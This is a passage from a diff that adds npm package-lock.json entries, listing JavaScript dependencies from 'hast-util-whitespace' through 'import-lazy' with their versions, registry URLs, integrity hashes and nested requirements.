+                }
+            }
+        },
+        "hast-util-whitespace": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-1.0.4.tgz",
+            "integrity": "sha512-I5GTdSfhYfAPNztx2xJRQpG8cuDSNt599/7YUn7Gx/WxNMsG+a835k97TDkFgk123cwjfwINaZknkKkphx/f2A=="
+        },
+        "hastscript": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-4.1.0.tgz",
+            "integrity": "sha512-bOTn9hEfzewvHyXdbYGKqOr/LOz+2zYhKbC17U2YAjd16mnjqB1BQ0nooM/RdMy/htVyli0NAznXiBtwDi1cmQ==",
+            "requires": {
+                "comma-separated-tokens": "^1.0.0",
+                "hast-util-parse-selector": "^2.2.0",
+                "property-information": "^4.0.0",
+                "space-separated-tokens": "^1.0.0"
+            }
+        },
+        "hex-color-regex": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz",
+            "integrity": "sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ=="
+        },
+        "hicat": {
+            "version": "0.8.0",
+            "resolved": "https://registry.npmjs.org/hicat/-/hicat-0.8.0.tgz",
+            "integrity": "sha512-om8L9O5XwqeSdwl5NtHgrzK3wcF4fT9T4gb/NktoH8EyoZipas/tvUZLV48xT7fQfMYr9qvb0WEutqdf0LWSqA==",
+            "requires": {
+                "highlight.js": "^10.4.1",
+                "minimist": "^1.2.5"
+            }
+        },
+        "highlight.js": {
+            "version": "10.7.3",
+            "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.3.tgz",
+            "integrity": "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A=="
+        },
+        "hmac-drbg": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz",
+            "integrity": "sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==",
+            "requires": {
+                "hash.js": "^1.0.3",
+                "minimalistic-assert": "^1.0.0",
+                "minimalistic-crypto-utils": "^1.0.1"
+            }
+        },
+        "hoist-non-react-statics": {
+            "version": "3.3.2",
+            "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz",
+            "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==",
+            "requires": {
+                "react-is": "^16.7.0"
+            }
+        },
+        "homedir-polyfill": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz",
+            "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==",
+            "requires": {
+                "parse-passwd": "^1.0.0"
+            }
+        },
+        "hosted-git-info": {
+            "version": "3.0.8",
+            "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz",
+            "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==",
+            "requires": {
+                "lru-cache": "^6.0.0"
+            }
+        },
+        "hpack.js": {
+            "version": "2.1.6",
+            "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
+            "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==",
+            "requires": {
+                "inherits": "^2.0.1",
+                "obuf": "^1.0.0",
+                "readable-stream": "^2.0.1",
+                "wbuf": "^1.1.0"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "hsl-regex": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/hsl-regex/-/hsl-regex-1.0.0.tgz",
+            "integrity": "sha512-M5ezZw4LzXbBKMruP+BNANf0k+19hDQMgpzBIYnya//Al+fjNct9Wf3b1WedLqdEs2hKBvxq/jh+DsHJLj0F9A=="
+        },
+        "hsla-regex": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/hsla-regex/-/hsla-regex-1.0.0.tgz",
+            "integrity": "sha512-7Wn5GMLuHBjZCb2bTmnDOycho0p/7UVaAeqXZGbHrBCl6Yd/xDhQJAXe6Ga9AXJH2I5zY1dEdYw2u1UptnSBJA=="
+        },
+        "html-entities": {
+            "version": "1.4.0",
+            "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-1.4.0.tgz",
+            "integrity": "sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA=="
+        },
+        "html-void-elements": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-1.0.5.tgz",
+            "integrity": "sha512-uE/TxKuyNIcx44cIWnjr/rfIATDH7ZaOMmstu0CwhFG1Dunhlp4OC6/NMbhiwoq5BpW0ubi303qnEk/PZj614w=="
+        },
+        "htmlparser2": {
+            "version": "6.1.0",
+            "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz",
+            "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==",
+            "requires": {
+                "domelementtype": "^2.0.1",
+                "domhandler": "^4.0.0",
+                "domutils": "^2.5.2",
+                "entities": "^2.0.0"
+            }
+        },
+        "http-cache-semantics": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
+            "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ=="
+        },
+        "http-deceiver": {
+            "version": "1.2.7",
+            "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
+            "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw=="
+        },
+        "http-errors": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
+            "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
+            "requires": {
+                "depd": "2.0.0",
+                "inherits": "2.0.4",
+                "setprototypeof": "1.2.0",
+                "statuses": "2.0.1",
+                "toidentifier": "1.0.1"
+            }
+        },
+        "http-parser-js": {
+            "version": "0.5.8",
+            "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz",
+            "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q=="
+        },
+        "http-proxy": {
+            "version": "1.18.1",
+            "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz",
+            "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==",
+            "requires": {
+                "eventemitter3": "^4.0.0",
+                "follow-redirects": "^1.0.0",
+                "requires-port": "^1.0.0"
+            },
+            "dependencies": {
+                "eventemitter3": {
+                    "version": "4.0.7",
+                    "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz",
+                    "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw=="
+                }
+            }
+        },
+        "http-proxy-middleware": {
+            "version": "0.19.1",
+            "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz",
+            "integrity": "sha512-yHYTgWMQO8VvwNS22eLLloAkvungsKdKTLO8AJlftYIKNfJr3GK3zK0ZCfzDDGUBttdGc8xFy1mCitvNKQtC3Q==",
+            "requires": {
+                "http-proxy": "^1.17.0",
+                "is-glob": "^4.0.0",
+                "lodash": "^4.17.11",
+                "micromatch": "^3.1.10"
+            },
+            "dependencies": {
+                "arr-diff": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+                    "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA=="
+                },
+                "array-unique": {
+                    "version": "0.3.2",
+                    "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+                    "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ=="
+                },
+                "braces": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+                    "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+                    "requires": {
+                        "arr-flatten": "^1.1.0",
+                        "array-unique": "^0.3.2",
+                        "extend-shallow": "^2.0.1",
+                        "fill-range": "^4.0.0",
+                        "isobject": "^3.0.1",
+                        "repeat-element": "^1.1.2",
+                        "snapdragon": "^0.8.1",
+                        "snapdragon-node": "^2.0.1",
+                        "split-string": "^3.0.2",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "expand-brackets": {
+                    "version": "2.1.4",
+                    "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+                    "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==",
+                    "requires": {
+                        "debug": "^2.3.3",
+                        "define-property": "^0.2.5",
+                        "extend-shallow": "^2.0.1",
+                        "posix-character-classes": "^0.1.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "0.2.5",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                            "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                            "requires": {
+                                "is-descriptor": "^0.1.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        },
+                        "is-accessor-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-data-descriptor": {
+                            "version": "0.1.4",
+                            "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+                            "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+                            "requires": {
+                                "is-accessor-descriptor": "^0.1.6",
+                                "is-data-descriptor": "^0.1.4",
+                                "kind-of": "^5.0.0"
+                            }
+                        },
+                        "kind-of": {
+                            "version": "5.1.0",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+                            "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+                        }
+                    }
+                },
+                "extglob": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+                    "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+                    "requires": {
+                        "array-unique": "^0.3.2",
+                        "define-property": "^1.0.0",
+                        "expand-brackets": "^2.1.4",
+                        "extend-shallow": "^2.0.1",
+                        "fragment-cache": "^0.2.1",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "1.0.0",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+                            "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+                            "requires": {
+                                "is-descriptor": "^1.0.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "fill-range": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+                    "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==",
+                    "requires": {
+                        "extend-shallow": "^2.0.1",
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1",
+                        "to-regex-range": "^2.1.0"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "is-accessor-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-data-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-descriptor": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+                    "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+                    "requires": {
+                        "is-accessor-descriptor": "^1.0.0",
+                        "is-data-descriptor": "^1.0.0",
+                        "kind-of": "^6.0.2"
+                    }
+                },
+                "is-number": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+                    "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
+                    "requires": {
+                        "kind-of": "^3.0.2"
+                    },
+                    "dependencies": {
+                        "kind-of": {
+                            "version": "3.2.2",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                            "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                            "requires": {
+                                "is-buffer": "^1.1.5"
+                            }
+                        }
+                    }
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                },
+                "micromatch": {
+                    "version": "3.1.10",
+                    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+                    "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+                    "requires": {
+                        "arr-diff": "^4.0.0",
+                        "array-unique": "^0.3.2",
+                        "braces": "^2.3.1",
+                        "define-property": "^2.0.2",
+                        "extend-shallow": "^3.0.2",
+                        "extglob": "^2.0.4",
+                        "fragment-cache": "^0.2.1",
+                        "kind-of": "^6.0.2",
+                        "nanomatch": "^1.2.9",
+                        "object.pick": "^1.3.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.2"
+                    }
+                },
+                "to-regex-range": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+                    "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==",
+                    "requires": {
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1"
+                    }
+                }
+            }
+        },
+        "http-signature": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
+            "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==",
+            "requires": {
+                "assert-plus": "^1.0.0",
+                "jsprim": "^1.2.2",
+                "sshpk": "^1.7.0"
+            }
+        },
+        "http2-wrapper": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz",
+            "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==",
+            "requires": {
+                "quick-lru": "^5.1.1",
+                "resolve-alpn": "^1.0.0"
+            }
+        },
+        "https-browserify": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz",
+            "integrity": "sha512-J+FkSdyD+0mA0N+81tMotaRMfSL9SGi+xpD3T6YApKsc3bGSXJlfXri3VyFOeYkfLRQisDk1W+jIFFKBeUBbBg=="
+        },
+        "human-signals": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-1.1.1.tgz",
+            "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw=="
+        },
+        "iconv-lite": {
+            "version": "0.4.24",
+            "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+            "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+            "requires": {
+                "safer-buffer": ">= 2.1.2 < 3"
+            }
+        },
+        "icss-replace-symbols": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz",
+            "integrity": "sha512-chIaY3Vh2mh2Q3RGXttaDIzeiPvaVXJ+C4DAh/w3c37SKZ/U6PGMmuicR2EQQp9bKG8zLMCl7I+PtIoOOPp8Gg=="
+        },
+        "icss-utils": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-2.1.0.tgz",
+            "integrity": "sha512-bsVoyn/1V4R1kYYjLcWLedozAM4FClZUdjE9nIr8uWY7xs78y9DATgwz2wGU7M+7z55KenmmTkN2DVJ7bqzjAA==",
+            "requires": {
+                "postcss": "^6.0.1"
+            },
+            "dependencies": {
+                "postcss": {
+                    "version": "6.0.23",
+                    "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz",
+                    "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
+                    "requires": {
+                        "chalk": "^2.4.1",
+                        "source-map": "^0.6.1",
+                        "supports-color": "^5.4.0"
+                    }
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "idb-keyval": {
+            "version": "3.2.0",
+            "resolved": "https://registry.npmjs.org/idb-keyval/-/idb-keyval-3.2.0.tgz",
+            "integrity": "sha512-slx8Q6oywCCSfKgPgL0sEsXtPVnSbTLWpyiDcu6msHOyKOLari1TD1qocXVCft80umnkk3/Qqh3lwoFt8T/BPQ=="
+        },
+        "ieee754": {
+            "version": "1.2.1",
+            "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+            "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA=="
+        },
+        "iferr": {
+            "version": "0.1.5",
+            "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz",
+            "integrity": "sha512-DUNFN5j7Tln0D+TxzloUjKB+CtVu6myn0JEFak6dG18mNt9YkQ6lzGCdafwofISZ1lLF3xRHJ98VKy9ynkcFaA=="
+        },
+        "ignore": {
+            "version": "5.2.0",
+            "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz",
+            "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ=="
+        },
+        "import-cwd": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/import-cwd/-/import-cwd-2.1.0.tgz",
+            "integrity": "sha512-Ew5AZzJQFqrOV5BTW3EIoHAnoie1LojZLXKcCQ/yTRyVZosBhK1x1ViYjHGf5pAFOq8ZyChZp6m/fSN7pJyZtg==",
+            "requires": {
+                "import-from": "^2.1.0"
+            },
+            "dependencies": {
+                "import-from": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/import-from/-/import-from-2.1.0.tgz",
+                    "integrity": "sha512-0vdnLL2wSGnhlRmzHJAg5JHjt1l2vYhzJ7tNLGbeVg0fse56tpGaH0uzH+r9Slej+BSXXEHvBKDEnVSLLE9/+w==",
+                    "requires": {
+                        "resolve-from": "^3.0.0"
+                    }
+                },
+                "resolve-from": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
+                    "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw=="
+                }
+            }
+        },
+        "import-fresh": {
+            "version": "3.3.0",
+            "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
+            "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+            "requires": {
+                "parent-module": "^1.0.0",
+                "resolve-from": "^4.0.0"
+            }
+        },
+        "import-from": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/import-from/-/import-from-3.0.0.tgz",
+            "integrity": "sha512-CiuXOFFSzkU5x/CR0+z7T91Iht4CXgfCxVOFRhh2Zyhg5wOpWvvDLQUsWl+gcN+QscYBjez8hDCt85O7RLDttQ==",
+            "requires": {
+                "resolve-from": "^5.0.0"
+            },
+            "dependencies": {
+                "resolve-from": {
+                    "version": "5.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+                    "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="
+                }
+            }
+        },
+        "import-lazy": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz",
